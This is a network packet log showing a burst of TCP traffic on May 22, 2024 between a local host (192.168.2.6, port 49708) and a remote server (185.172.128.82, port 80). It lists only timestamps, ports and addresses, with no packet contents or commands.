May 22, 2024 20:06:31.437736034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437757969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437813997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437813997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437874079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437895060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437916040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437928915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437944889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437956095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437974930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437988997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438025951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438283920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438303947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438323975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438333035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438349962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438359976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438378096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438388109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438399076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438416004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438431025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438438892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438456059 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438467979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438491106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438503981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438513041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438532114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438555956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438580036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438860893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438882113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438901901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.438910961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438935041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.438961983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439021111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439043045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439063072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439073086 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439093113 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439099073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439119101 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439131021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439140081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439157009 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439169884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439183950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439193964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439212084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439227104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439239025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439248085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439266920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439280987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439294100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439302921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439321041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439336061 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439347982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439357996 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439374924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439389944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439403057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439414024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439445972 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.439956903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439977884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.439999104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440007925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440025091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440032959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440049887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440062046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440073013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440089941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440099955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440118074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440139055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440146923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440165043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440172911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440193892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440216064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440570116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440587997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440609932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440619946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440638065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440646887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440663099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440681934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440689087 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440710068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440720081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440737009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440746069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440762043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440773010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440789938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440799952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440809965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440821886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440838099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440850019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440865993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440879107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440893888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440901995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440921068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440927982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.440946102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.440969944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.441437006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.441454887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.441477060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.441485882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.441502094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.441510916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.441526890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.441545963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.441557884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.441574097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.441582918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.441601038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.441613913 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.441654921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.441972971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.441992998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442013979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442024946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442042112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442055941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442071915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442084074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442105055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442115068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442135096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442142010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442159891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442167997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442190886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442198038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442214966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442224026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442236900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442246914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442265034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442274094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442287922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442310095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442610025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442629099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.442665100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.442682028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.520596027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.520638943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.520657063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.520664930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.520684958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.520714998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.520744085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.520790100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.520864010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.520883083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.520903111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.520912886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.520929098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.520944118 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.520991087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.521194935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.521209955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.521243095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.521260977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.521269083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.521291018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.521298885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.521332026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.525381088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.525439978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.525667906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.525686979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.525719881 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.525743008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.525799036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.525816917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.525839090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.525847912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.525873899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.525899887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.526026011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526046038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526070118 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.526093006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.526271105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526292086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526335001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.526360035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.526648045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526669979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526689053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526699066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.526727915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.526772976 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526825905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.526840925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526892900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.526904106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526926041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.526953936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.526992083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527077913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527098894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527117014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527132034 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527157068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527482033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527499914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527535915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527559042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527579069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527586937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527595043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527610064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527621031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527640104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527652025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527672052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527693033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527700901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527714014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527739048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527746916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527769089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527790070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527800083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527826071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527834892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527851105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527870893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527880907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527898073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527918100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527926922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527944088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527961969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527971029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.527985096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.527995110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.528014898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.528031111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.528896093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.528914928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.528923988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.528943062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.528951883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.528969049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.528986931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.528995991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529011011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529031038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529038906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529055119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529063940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529081106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529100895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529109955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529126883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529146910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529155970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529175043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529181957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529201031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529220104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529266119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529391050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529408932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529429913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529444933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529457092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529478073 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529484034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529503107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529521942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529530048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529548883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529557943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529573917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529592991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529603004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529618979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529628992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529645920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529655933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529673100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529692888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529700994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.529716969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.529752970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.530242920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530261040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530282021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530292988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.530308962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530323982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.530335903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530349970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.530356884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530373096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530395031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.530402899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530421972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530441999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.530450106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530467033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530488014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.530499935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530519962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.530527115 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530544996 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.530554056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530571938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.530589104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.530612946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.531042099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531060934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531083107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531094074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.531110048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531128883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531136990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.531153917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531172991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.531181097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531198025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.531246901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.531455994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531475067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531497002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531507015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.531522989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531533003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.531549931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531569004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531578064 CEST	49708	80	192.168.2.6	185.172.128.82
